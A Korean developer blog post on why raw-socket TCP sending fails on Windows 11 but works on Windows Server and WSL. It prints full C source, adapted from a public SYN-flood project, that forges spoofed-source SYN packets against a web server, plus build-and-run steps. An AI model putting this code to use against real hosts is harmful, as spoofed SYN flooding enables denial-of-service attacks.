성태의 닷넷 이야기
홈 주인
모아 놓은 자료
프로그래밍
질문/답변
사용자 관리
사용자
메뉴
아티클
외부 아티클
유용한 코드
온라인 기능
MathJax 입력기
최근 덧글
[정성태] Roll A Lisp In C - Reading ; https...
[정성태] Java - How to use the Foreign Funct...
[정성태] 제가 큰 실수를 했군요. ^^; Delegate를 통한 Bein...
[정성태] Working with Rust Libraries from C#...
[정성태] Detecting blocking calls using asyn...
[정성태] 아쉽게도, 커뮤니티는 아니고 개인 블로그입니다. ^^
[정성태] 질문이 잘 이해가 안 됩니다. 우선, 해당 소스코드에서 ILis...
[양승조
] var대신 dinamic으로 선언해서 해결은 했습니다. 맞는 해...
[양승조
] 또 막혔습니다. ㅠㅠ var list = props[i].Ge...
[양승조
] 아. 감사합니다. 어제는 안됐던것 같은데....정신을 차려야겠네...
글쓰기
제목
이름
암호
전자우편
HTML
홈페이지
유형
제니퍼 .NET
닷넷
COM 개체 관련
스크립트
VC++
VS.NET IDE
Windows
Team Foundation Server
디버깅 기술
오류 유형
개발 환경 구성
웹
기타
Linux
Java
DDK
Math
Phone
Graphics
사물인터넷
부모글 보이기/감추기
내용
<div style='display: inline'> <h1 style='font-family: Malgun Gothic, Consolas; font-size: 20pt; color: #006699; text-align: center; font-weight: bold'>Windows 11 환경에서 raw socket 테스트하는 방법</h1> <p> 이상하군요, ^^; 간단하게 raw socket을 테스트하려고 다음의 코드를,<br /> <br /> <pre style='margin: 10px 0px 10px 10px; padding: 10px 0px 10px 10px; background-color: #fbedbb; overflow: auto; font-family: Consolas, Verdana;' > adamalston/SYN-Flood ; <a target='tab' href='https://github.com/adamalston/SYN-Flood'>https://github.com/adamalston/SYN-Flood</a> </pre> <br /> Windows Socket으로 변형해,<br /> <br /> <pre style='margin: 10px 0px 10px 10px; padding: 10px 0px 10px 10px; background-color: #fbedbb; overflow: auto; font-family: Consolas, Verdana;' > // <a target='tab' href='https://github.com/adamalston/SYN-Flood/blob/master/tcp_syn_flood.c'>https://github.com/adamalston/SYN-Flood/blob/master/tcp_syn_flood.c</a> // 또는 파이썬 2.x가 친숙하다면, // <a target='tab' href='https://github.com/gabrielpereirapinheiro/syn_flood/blob/master/synflood.py'>https://github.com/gabrielpereirapinheiro/syn_flood/blob/master/synflood.py</a> #define _WINSOCK_DEPRECATED_NO_WARNINGS #include <iostream> #include <WinSock2.h> #include <ws2tcpip.h> #pragma comment(lib, "ws2_32.lib") <span style='color: blue; font-weight: bold'>#define DEST_IP "192.168.100.50" #define DEST_PORT 15501 // Attack the web server</span> #define PACKET_LEN 1500 // IP Header struct ipheader { unsigned char iph_ihl : 4, // IP header length iph_ver : 4; // IP version unsigned char iph_tos; // Type of service unsigned short int iph_len; // IP Packet length (data + header) unsigned short int iph_ident; // Identification unsigned short int iph_flag : 3, // Fragmentation flags iph_offset : 13; // Flags offset unsigned char iph_ttl; // Time to Live unsigned char iph_protocol; // Protocol type unsigned short int iph_chksum; // IP datagram checksum struct in_addr iph_sourceip; // Source IP address struct in_addr iph_destip; // Destination IP address }; // TCP Header struct tcpheader { u_short tcp_sport; // source port u_short tcp_dport; // destination port u_int tcp_seq; // sequence number u_int tcp_ack; // acknowledgement number u_char tcp_offx2; // data offset, rsvd #define TH_OFF(th) (((th)->tcp_offx2 & 0xf0) >> 4) u_char tcp_flags; #define TH_FIN 0x01 #define TH_SYN 0x02 #define TH_RST 0x04 #define TH_PUSH 0x08 #define TH_ACK 0x10 #define TH_URG 0x20 #define TH_ECE 0x40 #define TH_CWR 0x80 #define TH_FLAGS (TH_FIN | TH_SYN | TH_RST | TH_ACK | TH_URG | TH_ECE | TH_CWR) u_short tcp_win; // window u_short tcp_sum; // checksum u_short tcp_urp; // urgent pointer }; // Psuedo TCP header struct pseudo_tcp { unsigned saddr, daddr; unsigned char mbz; unsigned char ptcl; unsigned short tcpl; struct tcpheader tcp; char payload[1500]; }; /***************************************************** Given a buffer of data, calculate the checksum *****************************************************/ unsigned short in_cksum(unsigned short* buf, int length) { unsigned short* w = buf; int nleft = length; int sum = 0; unsigned short temp = 0; /* * The algorithm uses a 32 bit accumulator (sum), adds * sequential 16 bit words to it, and at the end, folds back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* treat the odd byte at the end, if any */ if (nleft == 1) { *(u_char*)(&temp) = *(u_char*)w; sum += temp; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); // add hi 16 to low 16 sum += (sum >> 16); // add carry return (unsigned short)(~sum); } /**************************************************************************** TCP checksum is calculated on the pseudo header, which includes the the TCP header and data, plus some part of the IP header. Therefore, we need to construct the pseudo header first. *****************************************************************************/ unsigned short calculate_tcp_checksum(struct ipheader* ip) { struct tcpheader* tcp = (struct tcpheader*)((u_char*)ip + sizeof(struct ipheader)); int tcp_len = ntohs(ip->iph_len) - sizeof(struct ipheader); /* pseudo tcp header for the checksum computation */ struct pseudo_tcp p_tcp; memset(&p_tcp, 0x0, sizeof(struct pseudo_tcp)); p_tcp.saddr = ip->iph_sourceip.s_addr; p_tcp.daddr = ip->iph_destip.s_addr; p_tcp.mbz = 0; p_tcp.ptcl = IPPROTO_TCP; p_tcp.tcpl = htons(tcp_len); memcpy(&p_tcp.tcp, tcp, tcp_len); return (unsigned short)in_cksum((unsigned short*)&p_tcp, tcp_len + 12); } // unsigned short calculate_tcp_checksum(struct ipheader* ip); // Given an IP packet, send it out using a raw socket. void send_raw_ip_packet(struct ipheader* ip) { struct sockaddr_in dest_info; int enable = 1; // Step 1: Create a raw network socket. int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); // int sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); if (sock < 0) { printf("socket failed: %d\n", WSAGetLastError()); return; } printf("raw socket opened\n"); // Step 2: Set socket option. int result = setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (const char*)&enable, sizeof(enable)); if (sock < 0) { printf("setsockopt failed: %d\n", WSAGetLastError()); return; } // Step 3: Provide needed information about destination. dest_info.sin_family = AF_INET; dest_info.sin_addr = ip->iph_destip; // Step 4: Send the packet out. result = sendto(sock, (const char *)ip, ntohs(ip->iph_len), 0, (struct sockaddr*)&dest_info, sizeof(dest_info)); printf("sendto: %d\n", result); printf("Press any key to exit..."); getchar(); closesocket(sock); } int main() { char buffer[PACKET_LEN]; struct ipheader* ip = (struct ipheader*)buffer; struct tcpheader* tcp = (struct tcpheader*)(buffer + sizeof(struct ipheader)); WORD wVersionRequested; WSADATA wsaData; int err; wVersionRequested = MAKEWORD(1, 1); WSAStartup(wVersionRequested, &wsaData); srand(time(0)); // Initialize the seed for random # generation. { memset(buffer, 0, PACKET_LEN); // Step 1: Fill in the TCP header. tcp->tcp_sport = rand(); // Use random source port tcp->tcp_dport = htons(DEST_PORT); tcp->tcp_seq = rand(); // Use random sequence # tcp->tcp_offx2 = 0x50; tcp->tcp_flags = TH_SYN; // Enable the SYN bit tcp->tcp_win = htons(20000); tcp->tcp_sum = 0; // Step 2: Fill in the IP header. ip->iph_ver = 4; // Version (IPV4) ip->iph_ihl = 5; // Header length ip->iph_ttl = 50; // Time to live ip->iph_sourceip.s_addr = rand(); // Use a random IP address ip->iph_destip.s_addr = inet_addr(DEST_IP); ip->iph_protocol = IPPROTO_TCP; // The value is 6. ip->iph_len = htons(sizeof(struct ipheader) + sizeof(struct tcpheader)); // Calculate tcp checksum tcp->tcp_sum = calculate_tcp_checksum(ip); // Step 3: Finally, send the spoofed packet send_raw_ip_packet(ip); } WSACleanup(); } </pre> <br /> 관리자 권한으로 실행했더니,<br /> <br /> <pre style='margin: 10px 0px 10px 10px; padding: 10px 0px 10px 10px; background-color: #fbedbb; overflow: auto; font-family: Consolas, Verdana;' > // 관리자 권한으로 실행 c:\temp> <span style='color: blue; font-weight: bold'>ConsoleApplication1.exe</span> raw socket opened sendto: 40 Press any key to exit... </pre> <br /> 딱히 sendto API 호출까지의 오류는 없지만 동작하지 않습니다. 재미있는 건, 동일한 exe 빌드를 Windows Server 2022에 복사해 실행하면 잘 됩니다. ^^;<br /> <br /> 이에 대해 검색해서 찾게 된 아래의 문서를 보면,<br /> <br /> <pre style='margin: 10px 0px 10px 10px; padding: 10px 0px 10px 10px; background-color: #fbedbb; overflow: auto; font-family: Consolas, Verdana;' > Limitations on Raw Sockets ; <a target='tab' href='https://learn.microsoft.com/en-us/windows/win32/winsock/tcp-ip-raw-sockets-2#limitations-on-raw-sockets'>https://learn.microsoft.com/en-us/windows/win32/winsock/tcp-ip-raw-sockets-2#limitations-on-raw-sockets</a> </pre> <br /> Raw socket은 윈도우 관리자 권한으로 실행하는 경우 잘 동작하지만, Windows XP SP2 이상의 환경에서는,<br /> <br /> <div style='BACKGROUND-COLOR: #ccffcc; padding: 10px 10px 5px 10px; MARGIN: 0px 10px 10px 10px; FONT-FAMILY: Malgun Gothic, Consolas, Verdana; COLOR: #005555'> Limitations on Raw Sockets<br /> <br /> On Windows 7, Windows Vista, Windows XP with Service Pack 2 (SP2), and Windows XP with Service Pack 3 (SP3), the ability to send traffic over raw sockets has been restricted in several ways:<br /> <br /> ...<br /> </div><br /> <br /> 제약이 있다고 설명합니다. 하지만 그 제약이 딱히 위의 예제와는 별다른 관련이 없습니다.<br /> <br /> <ul> <li>TCP data cannot be sent over raw sockets.</li> <li>UDP datagrams with an invalid source address cannot be sent over raw sockets. The IP source address for any outgoing UDP datagram must exist on a network interface or the datagram is dropped. This change was made to limit the ability of malicious code to create distributed denial-of-service attacks and limits the ability to send spoofed packets (TCP/IP packets with a forged source IP address).</li> <li>A call to the bind function with a raw socket for the IPPROTO_TCP protocol is not allowed.</li> </ul> <br /> 제가 사용한 코드는 TCP의 data가 비어 있는, 말 그대로 IP+TCP 헤더만 보내는 경우입니다. 또한, UDP 패킷도 아니고 bind 함수를 사용한 경우도 아닙니다.<br /> <br /> 아마도 "TCP data"라는 것이 "header"도 포함하는 의미가 아닐까 예상합니다. 즉, 순수하게 IP의 header와 TCP에 해당하지 않은 data만을 보내는 것을... 의미하는 것 같습니다. (혹시 이에 대해 자세히 알고 계신 분은 덧글 부탁드립니다.)<br /> <br /> <hr style='width: 50%' /><br /> <br /> 결국 Windows 11에서는 raw socket을 사용해 TCP 테스트를 할 수 없습니다. 단지, 굳이 해야 한다면 WSL을 이용해 우회하는 것은 가능합니다. 재미있게도, Windows 11 환경이지만 WSL로 <a target='tab' href='https://github.com/adamalston/SYN-Flood/blob/master/tcp_syn_flood.c'>위의 소스 코드</a>를 테스트하면 잘 동작합니다.<br /> <br /> <pre style='margin: 10px 0px 10px 10px; padding: 10px 0px 10px 10px; background-color: #fbedbb; overflow: auto; font-family: Consolas, Verdana;' > $ git clone https://github.com/adamalston/SYN-Flood.git $ cd SYN-Flood/ $ gedit tcp_syn_flood.c ..[대충 자신의 네트워크 상황에 맞게 편집해 주고]... $ gcc tcp_syn_flood.c $ sudo ./a.out </pre> <br /> <pre style='height: 400px; margin: 10px 0px 10px 10px; padding: 10px 0px 10px 10px; background-color: #fbedbb; overflow: auto; font-family: Consolas, Verdana;' > $ <span style='color: blue; font-weight: bold'>cat tcp_syn_flood.c</span> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <time.h> #include <string.h> #include <sys/socket.h> #include <netinet/ip.h> #include <arpa/inet.h> #include "header.h" #define DEST_IP "192.168.100.50" #define DEST_PORT 15501 // Attack the web server #define PACKET_LEN 1500 /***************************************************** Given a buffer of data, calculate the checksum *****************************************************/ unsigned short in_cksum(unsigned short* buf, int length) { unsigned short* w = buf; int nleft = length; int sum = 0; unsigned short temp = 0; /* * The algorithm uses a 32 bit accumulator (sum), adds * sequential 16 bit words to it, and at the end, folds back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* treat the odd byte at the end, if any */ if (nleft == 1) { *(u_char*)(&temp) = *(u_char*)w; sum += temp; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); // add hi 16 to low 16 sum += (sum >> 16); // add carry return (unsigned short)(~sum); } /**************************************************************************** TCP checksum is calculated on the pseudo header, which includes the the TCP header and data, plus some part of the IP header. Therefore, we need to construct the pseudo header first. *****************************************************************************/ unsigned short calculate_tcp_checksum(struct ipheader* ip) { struct tcpheader* tcp = (struct tcpheader*)((u_char*)ip + sizeof(struct ipheader)); int tcp_len = ntohs(ip->iph_len) - sizeof(struct ipheader); /* pseudo tcp header for the checksum computation */ struct pseudo_tcp p_tcp; memset(&p_tcp, 0x0, sizeof(struct pseudo_tcp)); p_tcp.saddr = ip->iph_sourceip.s_addr; p_tcp.daddr = ip->iph_destip.s_addr; p_tcp.mbz = 0; p_tcp.ptcl = IPPROTO_TCP; p_tcp.tcpl = htons(tcp_len); memcpy(&p_tcp.tcp, tcp, tcp_len); return (unsigned short)in_cksum((unsigned short*)&p_tcp, tcp_len + 12); } // Given an IP packet, send it out using a raw socket. void send_raw_ip_packet(struct ipheader *ip) { struct sockaddr_in dest_info; int enable = 1; // Step 1: Create a raw network socket. int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); // Step 2: Set socket option. setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable)); // Step 3: Provide needed information about destination. dest_info.sin_family = AF_INET; dest_info.sin_addr = ip->iph_destip; // Step 4: Send the packet out. sendto(sock, ip, ntohs(ip->iph_len), 0, (struct sockaddr *)&dest_info, sizeof(dest_info)); getchar(); close(sock); } // Spoof a TCP SYN packet. int main() { char buffer[PACKET_LEN]; struct ipheader *ip = (struct ipheader *)buffer; struct tcpheader *tcp = (struct tcpheader *)(buffer + sizeof(struct ipheader)); srand(time(0)); // Initialize the seed for random # generation. // while (1) { memset(buffer, 0, PACKET_LEN); // Step 1: Fill in the TCP header. tcp->tcp_sport = rand(); // Use random source port tcp->tcp_dport = htons(DEST_PORT); tcp->tcp_seq = rand(); // Use random sequence # tcp->tcp_offx2 = 0x50; tcp->tcp_flags = TH_SYN; // Enable the SYN bit tcp->tcp_win = htons(20000); tcp->tcp_sum = 0; // Step 2: Fill in the IP header. ip->iph_ver = 4; // Version (IPV4) ip->iph_ihl = 5; // Header length ip->iph_ttl = 50; // Time to live ip->iph_sourceip.s_addr = rand(); // Use a random IP address ip->iph_destip.s_addr = inet_addr(DEST_IP); ip->iph_protocol = IPPROTO_TCP; // The value is 6. ip->iph_len = htons(sizeof(struct ipheader) + sizeof(struct tcpheader)); // Calculate tcp checksum tcp->tcp_sum = calculate_tcp_checksum(ip); // Step 3: Finally, send the spoofed packet send_raw_ip_packet(ip); } return 0; } </pre> <br /> 아니면, Windows Server 버전에서 테스트하거나!<br /> <br /> (<a target='tab' href='https://www.sysnet.pe.kr/bbs/DownloadAttachment.aspx?fid=1978&boardid=331301885'>첨부 파일은 이 글의 예제 코드를 포함</a>합니다.)<br /> </p><br /> <br /><hr /><span style='color: Maroon'>[이 글에 대해서 여러분들과 의견을 공유하고 싶습니다. 틀리거나 미흡한 부분 또는 의문 사항이 있으시면 언제든 댓글 남겨주십시오.]</span> </div>
첨부파일
스팸 방지용 인증 번호
1097
(왼쪽의 숫자를 입력해야 합니다.)